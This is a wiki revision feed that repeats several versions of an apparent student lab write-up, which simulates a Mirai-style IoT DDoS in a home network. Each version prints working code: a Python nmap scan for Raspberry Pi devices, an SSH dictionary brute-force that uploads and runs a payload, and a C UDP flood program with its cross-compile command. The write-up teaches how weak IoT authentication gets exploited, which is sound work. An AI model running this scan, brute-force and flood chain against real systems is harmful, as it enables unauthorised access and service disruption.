&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentations]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=17149</id>
		<title>IoT DDoS Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=17149"/>
		<updated>2024-12-16T14:40:51Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= IoT Attack Simulation: A Practical Demonstration =&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.&lt;br /&gt;
&lt;br /&gt;
== Attack Methodology ==&lt;br /&gt;
The attack simulation involves the following steps:&lt;br /&gt;
# Perform a network scan to identify active devices within the network (inspired by the Carna botnet scanning method&amp;lt;ref&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt;).&lt;br /&gt;
# Execute a brute-force attack to gain unauthorized access to the identified IoT device.&lt;br /&gt;
# Upload and execute a payload onto the compromised device to prepare for the attack.&lt;br /&gt;
# Use the compromised IoT device to launch a UDP Flood attack targeting a specific server.&lt;br /&gt;
# This attack should last for 30seconds and than stop by its self.&lt;br /&gt;
&lt;br /&gt;
== Experiment Setup ==&lt;br /&gt;
The experiment setup includes:&lt;br /&gt;
Hardware:&lt;br /&gt;
Raspberry Pi 2 as the attacking device  &lt;br /&gt;
This device was used as it simulated an IoT device and reflected the computational limitations of such devices.&lt;br /&gt;
&lt;br /&gt;
Target server configured to monitor incoming traffic  &lt;br /&gt;
An Ubuntu Server 24.04.01 was deployed with 2 cores of an AMD Ryzen 5700u to simulate a desktop machine.&lt;br /&gt;
&lt;br /&gt;
Software:&lt;br /&gt;
Python scripts for scanning the network and executing brute-force attacks.&lt;br /&gt;
A compiled C program to launch the UDP Flood attack.&lt;br /&gt;
Network monitoring tool tcpdump to observe the impact of the attack.&lt;br /&gt;
&lt;br /&gt;
[[File:Practical_Demonstration.png|center|thumb|Test Setup]]&lt;br /&gt;
&lt;br /&gt;
== Description of the Process ==&lt;br /&gt;
1. **Scanning the Network:**  &lt;br /&gt;
   Using Python, a network scan was conducted to detect active devices in the local subnet. Each device&#039;s IP address and open ports were recorded for further analysis.&lt;br /&gt;
&lt;br /&gt;
   The following code snippet defines the `find_raspberry_pi` function, which scans the private network `192.168.1.0/24` and identifies the Raspberry Pi 2 by its MAC address prefix:&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
   def find_raspberry_pi():&lt;br /&gt;
       print(&amp;quot;Scanning network...\n&amp;quot;)&lt;br /&gt;
       nm = nmap.PortScanner()&lt;br /&gt;
       raspberry_mac_prefix = &amp;quot;B8:27:EB&amp;quot;.lower()&lt;br /&gt;
       network_range = &#039;192.168.1.0/24&#039;&lt;br /&gt;
&lt;br /&gt;
       # Conducting the scan&lt;br /&gt;
       nm.scan(hosts=network_range, arguments=&#039;-p 22,80,8080 -sS&#039;)&lt;br /&gt;
       raspberry_ip = None&lt;br /&gt;
&lt;br /&gt;
       for host in nm.all_hosts():&lt;br /&gt;
           print(f&amp;quot;Scanning host {host}...&amp;quot;)&lt;br /&gt;
           if &#039;addresses&#039; in nm[host] and &#039;mac&#039; in nm[host][&#039;addresses&#039;]:&lt;br /&gt;
               mac_address = nm[host][&#039;addresses&#039;][&#039;mac&#039;].lower()&lt;br /&gt;
               print(f&amp;quot;Host {host} has MAC address {mac_address}&amp;quot;)&lt;br /&gt;
               if mac_address.startswith(raspberry_mac_prefix):&lt;br /&gt;
                   print(f&amp;quot;\nRaspberry Pi found: {host} with MAC address {mac_address}\n&amp;quot;)&lt;br /&gt;
                   raspberry_ip = host&lt;br /&gt;
&lt;br /&gt;
       print(&amp;quot;\nScan complete.&amp;quot;)&lt;br /&gt;
       input(&amp;quot;\n[Press Enter to proceed with brute-force...]\n&amp;quot;)&lt;br /&gt;
       return raspberry_ip&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. **Brute-Force Attack:**  &lt;br /&gt;
   A script attempted to gain access to the Raspberry Pi via SSH using a dictionary attack. Upon successful authentication, the payload was uploaded to the device.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Brute-Force&lt;br /&gt;
def ssh_brute_force(ip):&lt;br /&gt;
    print(f&amp;quot;\nStarte Brute-Force-Angriff auf {ip}...\n&amp;quot;)&lt;br /&gt;
    port = 22&lt;br /&gt;
    usernames = [&#039;admin&#039;, &#039;user&#039;]&lt;br /&gt;
    passwords = [&#039;1234&#039;, &#039;admin&#039;, &#039;password&#039;]&lt;br /&gt;
    local_file = &amp;quot;C:/Users/julia/Documents/VSCode/AKITS_BOT/akits/udp_flood&amp;quot;&lt;br /&gt;
    remote_path = f&amp;quot;/home/admin/udp_flood&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ssh = paramiko.SSHClient()&lt;br /&gt;
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())&lt;br /&gt;
&lt;br /&gt;
    for username in usernames:&lt;br /&gt;
        for password in passwords:&lt;br /&gt;
            try:&lt;br /&gt;
                print(f&amp;quot;Versuche: {username}:{password}&amp;quot;)&lt;br /&gt;
                ssh.connect(ip, port=port, username=username, password=password, timeout=3)&lt;br /&gt;
                print(f&amp;quot;\nErfolgreich! Benutzer: {username}, Passwort: {password}\n&amp;quot;)&lt;br /&gt;
                input(&amp;quot;\n[Datei hochladen? Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
                upload_and_execute(ssh, username, local_file, remote_path)&lt;br /&gt;
                return&lt;br /&gt;
            except paramiko.AuthenticationException:&lt;br /&gt;
                print(f&amp;quot;Fehlgeschlagen für: {username}:{password}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;Fehler: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    ssh.close()&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. **Executing the Attack:**  &lt;br /&gt;
   The payload was executed directly on the Raspberry Pi, targeting a designated server. The UDP Flood attack sent a high volume of packets over a duration of 30 seconds.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
def upload_and_execute(ssh, username, local_file, remote_path):&lt;br /&gt;
    try:&lt;br /&gt;
        sftp = ssh.open_sftp()&lt;br /&gt;
&lt;br /&gt;
        if os.path.exists(local_file):&lt;br /&gt;
            print(f&amp;quot;Datei gefunden: {local_file}&amp;quot;)&lt;br /&gt;
        else:&lt;br /&gt;
            print(f&amp;quot;Datei nicht gefunden: {local_file}&amp;quot;)&lt;br /&gt;
            return&lt;br /&gt;
&lt;br /&gt;
        print(f&amp;quot;Lade {local_file} auf {remote_path} hoch...\n&amp;quot;)&lt;br /&gt;
        sftp.put(local_file, remote_path)&lt;br /&gt;
        ssh.exec_command(f&amp;quot;chmod +x {remote_path}&amp;quot;)&lt;br /&gt;
        input(&amp;quot;\n[Achtung: Nach der nächsten Bestätigung beginnt der Flooding-Angriff. Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
        print(f&amp;quot;\nFühre {remote_path} aus...\n&amp;quot;)&lt;br /&gt;
        stdin, stdout, stderr = ssh.exec_command(f&amp;quot;{remote_path}&amp;quot;)&lt;br /&gt;
        print(stdout.read().decode())&lt;br /&gt;
        print(stderr.read().decode())&lt;br /&gt;
&lt;br /&gt;
        sftp.close()&lt;br /&gt;
        ssh.close()&lt;br /&gt;
        print(&amp;quot;\nDatei erfolgreich hochgeladen und ausgeführt.&amp;quot;)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Fehler bei der Übertragung und Ausführung der Datei: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Hauptlogik&lt;br /&gt;
raspberry_ip = find_raspberry_pi()&lt;br /&gt;
&lt;br /&gt;
if raspberry_ip:&lt;br /&gt;
    ssh_brute_force(raspberry_ip)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;\nKein Raspberry Pi gefunden. Das Skript wird beendet.&amp;quot;)&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== The C Script ==&lt;br /&gt;
This script was the one actually uploaded to the Raspberry Pi 2 and executed.&lt;br /&gt;
It is important to note that this script was not uploaded in its current form but first needed to be converted into a native binary format that the Raspberry Pi 2 can execute. This process has the significant advantage of removing the need for the Raspberry Pi 2 to convert the code into machine language during execution. The binary is already fully prepared to run as-is.&lt;br /&gt;
&lt;br /&gt;
To achieve this, I used the GCC tool on Linux (Ubuntu). The exact command was:&lt;br /&gt;
&lt;br /&gt;
arm-linux-gnueabihf-gcc -o udp_flood udp_flood.c&lt;br /&gt;
&lt;br /&gt;
This command converts a file named udp_flood.c into a native binary called udp_flood, which can be executed directly by the Raspberry Pi 2.&lt;br /&gt;
&lt;br /&gt;
It is crucial to take extra care here because the Raspberry Pi 2 runs Linux on an ARM chip, which requires using the appropriate cross-compiler (arm-linux-gnueabihf-gcc) to ensure compatibility with its architecture.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;  // Für sleep-Funktion&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    int sock;&lt;br /&gt;
    struct sockaddr_in target;&lt;br /&gt;
    char message[1024];&lt;br /&gt;
    time_t start_time, current_time;&lt;br /&gt;
&lt;br /&gt;
    // Vordefinierte Ziel-IP und Ziel-Port&lt;br /&gt;
    char target_ip[] = &amp;quot;192.168.1.238&amp;quot;;  // Ziel-IP hier festlegen&lt;br /&gt;
    int target_port = 22;               // Ziel-Port hier festlegen&lt;br /&gt;
&lt;br /&gt;
    // Fülle die Nachricht mit Dummy-Daten&lt;br /&gt;
    memset(message, &#039;X&#039;, sizeof(message));&lt;br /&gt;
&lt;br /&gt;
    // Erstelle das UDP-Socket&lt;br /&gt;
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) &amp;lt; 0) {&lt;br /&gt;
        perror(&amp;quot;Socket konnte nicht erstellt werden&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    // Setze die Ziel-IP und den Port&lt;br /&gt;
    target.sin_family = AF_INET;&lt;br /&gt;
    target.sin_port = htons(target_port);&lt;br /&gt;
    target.sin_addr.s_addr = inet_addr(target_ip);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Starte UDP-Flood auf %s:%d für 30 Sekunden\n&amp;quot;, target_ip, target_port);&lt;br /&gt;
    &lt;br /&gt;
    // Starte die Zeitmessung&lt;br /&gt;
    time(&amp;amp;start_time);&lt;br /&gt;
&lt;br /&gt;
    // Sende Pakete für 30 Sekunden&lt;br /&gt;
    do {&lt;br /&gt;
        sendto(sock, message, sizeof(message), 0, (struct sockaddr *)&amp;amp;target, sizeof(target));&lt;br /&gt;
        time(&amp;amp;current_time);&lt;br /&gt;
    } while (difftime(current_time, start_time) &amp;lt; 30);  // Laufzeit 30 Sekunden&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;UDP-Flooding-Angriff beendet.\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    close(sock);  // Schließe das Socket&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. **Monitoring the Network:**  &lt;br /&gt;
   This experiment was conducted under two conditions:&lt;br /&gt;
   1. Without resource limitations on the target device (Ubuntu server). &lt;br /&gt;
   2. With network throttling applied to the target device to simulate a stronger attack.&lt;br /&gt;
&lt;br /&gt;
== Findings ==&lt;br /&gt;
Under Condition 1 the attack occurred, but the server processed the traffic without significant disruption. It could handle the incoming packets and was able to be connected the whole time.&lt;br /&gt;
[[File:Attack1.png|thumb|center|Unsuccessful attack]]&lt;br /&gt;
Under Condition 2, the attack significantly disrupted the server, causing packet loss and disconnections for logged-in users. Some packets were able to come througth. But none of the pings that were sent to the target.&lt;br /&gt;
[[File:Attack2.png|thumb|center|Successful attack]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
This scenario is, of course, not at a level to execute actual attacks or pose any real-world threats. However, what it has impressively demonstrated is the capability to simulate an effective and practical IoT-based attack with minimal resources. Using less than 100 lines of code, the experiment replicated techniques employed by well-known botnets, such as Mirai and Carna, to highlight the simplicity and accessibility of such methods.&lt;br /&gt;
&lt;br /&gt;
What makes this demonstration particularly striking is the low barrier to entry—leveraging common tools like Python and nmap alongside a Raspberry Pi, a device readily available and inexpensive. This underscores the reality that even basic hardware and software setups can exploit common IoT vulnerabilities, such as weak authentication mechanisms and open network ports.&lt;br /&gt;
&lt;br /&gt;
While the attack itself was conducted under controlled and ethical conditions, it illustrates how quickly a targeted device could be identified, compromised, and weaponized to disrupt other systems. The experiment serves as a sobering reminder of the real-world risks posed by insecure IoT devices and the need for robust security measures to mitigate such threats.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentations]]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=17148</id>
		<title>IoT DDoS Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=17148"/>
		<updated>2024-12-16T14:39:59Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= IoT Attack Simulation: A Practical Demonstration =&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.&lt;br /&gt;
&lt;br /&gt;
== Attack Methodology ==&lt;br /&gt;
The attack simulation involves the following steps:&lt;br /&gt;
# Perform a network scan to identify active devices within the network (inspired by the Carna botnet scanning method&amp;lt;ref&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt;).&lt;br /&gt;
# Execute a brute-force attack to gain unauthorized access to the identified IoT device.&lt;br /&gt;
# Upload and execute a payload onto the compromised device to prepare for the attack.&lt;br /&gt;
# Use the compromised IoT device to launch a UDP Flood attack targeting a specific server.&lt;br /&gt;
# This attack should last for 30seconds and than stop by its self.&lt;br /&gt;
&lt;br /&gt;
== Experiment Setup ==&lt;br /&gt;
The experiment setup includes:&lt;br /&gt;
Hardware:&lt;br /&gt;
Raspberry Pi 2 as the attacking device  &lt;br /&gt;
This device was used as it simulated an IoT device and reflected the computational limitations of such devices.&lt;br /&gt;
&lt;br /&gt;
Target server configured to monitor incoming traffic  &lt;br /&gt;
An Ubuntu Server 24.04.01 was deployed with 2 cores of an AMD Ryzen 5700u to simulate a desktop machine.&lt;br /&gt;
&lt;br /&gt;
Software:&lt;br /&gt;
Python scripts for scanning the network and executing brute-force attacks.&lt;br /&gt;
A compiled C program to launch the UDP Flood attack.&lt;br /&gt;
Network monitoring tool tcpdump to observe the impact of the attack.&lt;br /&gt;
&lt;br /&gt;
[[File:Practical_Demonstration.png|center|thumb|Test Setup]]&lt;br /&gt;
&lt;br /&gt;
== Description of the Process ==&lt;br /&gt;
1. **Scanning the Network:**  &lt;br /&gt;
   Using Python, a network scan was conducted to detect active devices in the local subnet. Each device&#039;s IP address and open ports were recorded for further analysis.&lt;br /&gt;
&lt;br /&gt;
   The following code snippet defines the `find_raspberry_pi` function, which scans the private network `192.168.1.0/24` and identifies the Raspberry Pi 2 by its MAC address prefix:&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
   def find_raspberry_pi():&lt;br /&gt;
       print(&amp;quot;Scanning network...\n&amp;quot;)&lt;br /&gt;
       nm = nmap.PortScanner()&lt;br /&gt;
       raspberry_mac_prefix = &amp;quot;B8:27:EB&amp;quot;.lower()&lt;br /&gt;
       network_range = &#039;192.168.1.0/24&#039;&lt;br /&gt;
&lt;br /&gt;
       # Conducting the scan&lt;br /&gt;
       nm.scan(hosts=network_range, arguments=&#039;-p 22,80,8080 -sS&#039;)&lt;br /&gt;
       raspberry_ip = None&lt;br /&gt;
&lt;br /&gt;
       for host in nm.all_hosts():&lt;br /&gt;
           print(f&amp;quot;Scanning host {host}...&amp;quot;)&lt;br /&gt;
           if &#039;addresses&#039; in nm[host] and &#039;mac&#039; in nm[host][&#039;addresses&#039;]:&lt;br /&gt;
               mac_address = nm[host][&#039;addresses&#039;][&#039;mac&#039;].lower()&lt;br /&gt;
               print(f&amp;quot;Host {host} has MAC address {mac_address}&amp;quot;)&lt;br /&gt;
               if mac_address.startswith(raspberry_mac_prefix):&lt;br /&gt;
                   print(f&amp;quot;\nRaspberry Pi found: {host} with MAC address {mac_address}\n&amp;quot;)&lt;br /&gt;
                   raspberry_ip = host&lt;br /&gt;
&lt;br /&gt;
       print(&amp;quot;\nScan complete.&amp;quot;)&lt;br /&gt;
       input(&amp;quot;\n[Press Enter to proceed with brute-force...]\n&amp;quot;)&lt;br /&gt;
       return raspberry_ip&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. **Brute-Force Attack:**  &lt;br /&gt;
   A script attempted to gain access to the Raspberry Pi via SSH using a dictionary attack. Upon successful authentication, the payload was uploaded to the device.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Brute-Force&lt;br /&gt;
def ssh_brute_force(ip):&lt;br /&gt;
    print(f&amp;quot;\nStarte Brute-Force-Angriff auf {ip}...\n&amp;quot;)&lt;br /&gt;
    port = 22&lt;br /&gt;
    usernames = [&#039;admin&#039;, &#039;user&#039;]&lt;br /&gt;
    passwords = [&#039;1234&#039;, &#039;admin&#039;, &#039;password&#039;]&lt;br /&gt;
    local_file = &amp;quot;C:/Users/julia/Documents/VSCode/AKITS_BOT/akits/udp_flood&amp;quot;&lt;br /&gt;
    remote_path = f&amp;quot;/home/admin/udp_flood&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ssh = paramiko.SSHClient()&lt;br /&gt;
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())&lt;br /&gt;
&lt;br /&gt;
    for username in usernames:&lt;br /&gt;
        for password in passwords:&lt;br /&gt;
            try:&lt;br /&gt;
                print(f&amp;quot;Versuche: {username}:{password}&amp;quot;)&lt;br /&gt;
                ssh.connect(ip, port=port, username=username, password=password, timeout=3)&lt;br /&gt;
                print(f&amp;quot;\nErfolgreich! Benutzer: {username}, Passwort: {password}\n&amp;quot;)&lt;br /&gt;
                input(&amp;quot;\n[Datei hochladen? Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
                upload_and_execute(ssh, username, local_file, remote_path)&lt;br /&gt;
                return&lt;br /&gt;
            except paramiko.AuthenticationException:&lt;br /&gt;
                print(f&amp;quot;Fehlgeschlagen für: {username}:{password}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;Fehler: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    ssh.close()&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. **Executing the Attack:**  &lt;br /&gt;
   The payload was executed directly on the Raspberry Pi, targeting a designated server. The UDP Flood attack sent a high volume of packets over a duration of 30 seconds.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
def upload_and_execute(ssh, username, local_file, remote_path):&lt;br /&gt;
    try:&lt;br /&gt;
        sftp = ssh.open_sftp()&lt;br /&gt;
&lt;br /&gt;
        if os.path.exists(local_file):&lt;br /&gt;
            print(f&amp;quot;Datei gefunden: {local_file}&amp;quot;)&lt;br /&gt;
        else:&lt;br /&gt;
            print(f&amp;quot;Datei nicht gefunden: {local_file}&amp;quot;)&lt;br /&gt;
            return&lt;br /&gt;
&lt;br /&gt;
        print(f&amp;quot;Lade {local_file} auf {remote_path} hoch...\n&amp;quot;)&lt;br /&gt;
        sftp.put(local_file, remote_path)&lt;br /&gt;
        ssh.exec_command(f&amp;quot;chmod +x {remote_path}&amp;quot;)&lt;br /&gt;
        input(&amp;quot;\n[Achtung: Nach der nächsten Bestätigung beginnt der Flooding-Angriff. Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
        print(f&amp;quot;\nFühre {remote_path} aus...\n&amp;quot;)&lt;br /&gt;
        stdin, stdout, stderr = ssh.exec_command(f&amp;quot;{remote_path}&amp;quot;)&lt;br /&gt;
        print(stdout.read().decode())&lt;br /&gt;
        print(stderr.read().decode())&lt;br /&gt;
&lt;br /&gt;
        sftp.close()&lt;br /&gt;
        ssh.close()&lt;br /&gt;
        print(&amp;quot;\nDatei erfolgreich hochgeladen und ausgeführt.&amp;quot;)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Fehler bei der Übertragung und Ausführung der Datei: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Hauptlogik&lt;br /&gt;
raspberry_ip = find_raspberry_pi()&lt;br /&gt;
&lt;br /&gt;
if raspberry_ip:&lt;br /&gt;
    ssh_brute_force(raspberry_ip)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;\nKein Raspberry Pi gefunden. Das Skript wird beendet.&amp;quot;)&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== The C Script ==&lt;br /&gt;
This script was the one actually uploaded to the Raspberry Pi 2 and executed.&lt;br /&gt;
It is important to note that this script was not uploaded in its current form but first needed to be converted into a native binary format that the Raspberry Pi 2 can execute. This process has the significant advantage of removing the need for the Raspberry Pi 2 to convert the code into machine language during execution. The binary is already fully prepared to run as-is.&lt;br /&gt;
&lt;br /&gt;
To achieve this, I used the GCC tool on Linux (Ubuntu). The exact command was:&lt;br /&gt;
&lt;br /&gt;
arm-linux-gnueabihf-gcc -o udp_flood udp_flood.c&lt;br /&gt;
&lt;br /&gt;
This command converts a file named udp_flood.c into a native binary called udp_flood, which can be executed directly by the Raspberry Pi 2.&lt;br /&gt;
&lt;br /&gt;
It is crucial to take extra care here because the Raspberry Pi 2 runs Linux on an ARM chip, which requires using the appropriate cross-compiler (arm-linux-gnueabihf-gcc) to ensure compatibility with its architecture.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;  // Für sleep-Funktion&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    int sock;&lt;br /&gt;
    struct sockaddr_in target;&lt;br /&gt;
    char message[1024];&lt;br /&gt;
    time_t start_time, current_time;&lt;br /&gt;
&lt;br /&gt;
    // Vordefinierte Ziel-IP und Ziel-Port&lt;br /&gt;
    char target_ip[] = &amp;quot;192.168.1.238&amp;quot;;  // Ziel-IP hier festlegen&lt;br /&gt;
    int target_port = 22;               // Ziel-Port hier festlegen&lt;br /&gt;
&lt;br /&gt;
    // Fülle die Nachricht mit Dummy-Daten&lt;br /&gt;
    memset(message, &#039;X&#039;, sizeof(message));&lt;br /&gt;
&lt;br /&gt;
    // Erstelle das UDP-Socket&lt;br /&gt;
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) &amp;lt; 0) {&lt;br /&gt;
        perror(&amp;quot;Socket konnte nicht erstellt werden&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    // Setze die Ziel-IP und den Port&lt;br /&gt;
    target.sin_family = AF_INET;&lt;br /&gt;
    target.sin_port = htons(target_port);&lt;br /&gt;
    target.sin_addr.s_addr = inet_addr(target_ip);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Starte UDP-Flood auf %s:%d für 30 Sekunden\n&amp;quot;, target_ip, target_port);&lt;br /&gt;
    &lt;br /&gt;
    // Starte die Zeitmessung&lt;br /&gt;
    time(&amp;amp;start_time);&lt;br /&gt;
&lt;br /&gt;
    // Sende Pakete für 30 Sekunden&lt;br /&gt;
    do {&lt;br /&gt;
        sendto(sock, message, sizeof(message), 0, (struct sockaddr *)&amp;amp;target, sizeof(target));&lt;br /&gt;
        time(&amp;amp;current_time);&lt;br /&gt;
    } while (difftime(current_time, start_time) &amp;lt; 30);  // Laufzeit 30 Sekunden&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;UDP-Flooding-Angriff beendet.\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    close(sock);  // Schließe das Socket&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. **Monitoring the Network:**  &lt;br /&gt;
   This experiment was conducted under two conditions:&lt;br /&gt;
   1. Without resource limitations on the target device (Ubuntu server). &lt;br /&gt;
   2. With network throttling applied to the target device to simulate a stronger attack.&lt;br /&gt;
&lt;br /&gt;
== Findings ==&lt;br /&gt;
Under Condition 1 the attack occurred, but the server processed the traffic without significant disruption. It could handle the incoming packets and was able to be connected the whole time.&lt;br /&gt;
[[File:Attack1.png|thumb|center|Unsuccessful attack]]&lt;br /&gt;
Under Condition 2, the attack significantly disrupted the server, causing packet loss and disconnections for logged-in users. Some packets were able to come througth. But none of the pings that were sent to the target.&lt;br /&gt;
[[File:Attack2.png|thumb|center|Successful attack]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
This scenario is, of course, not at a level to execute actual attacks or pose any real-world threats. However, what it has impressively demonstrated is the capability to simulate an effective and practical IoT-based attack with minimal resources. Using less than 100 lines of code, the experiment replicated techniques employed by well-known botnets, such as Mirai and Carna, to highlight the simplicity and accessibility of such methods.&lt;br /&gt;
&lt;br /&gt;
What makes this demonstration particularly striking is the low barrier to entry—leveraging common tools like Python and nmap alongside a Raspberry Pi, a device readily available and inexpensive. This underscores the reality that even basic hardware and software setups can exploit common IoT vulnerabilities, such as weak authentication mechanisms and open network ports.&lt;br /&gt;
&lt;br /&gt;
While the attack itself was conducted under controlled and ethical conditions, it illustrates how quickly a targeted device could be identified, compromised, and weaponized to disrupt other systems. The experiment serves as a sobering reminder of the real-world risks posed by insecure IoT devices and the need for robust security measures to mitigate such threats.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=17147</id>
		<title>IoT DDoS Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=17147"/>
		<updated>2024-12-16T14:39:04Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= IoT Attack Simulation: A Practical Demonstration =&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.&lt;br /&gt;
&lt;br /&gt;
== Attack Methodology ==&lt;br /&gt;
The attack simulation involves the following steps:&lt;br /&gt;
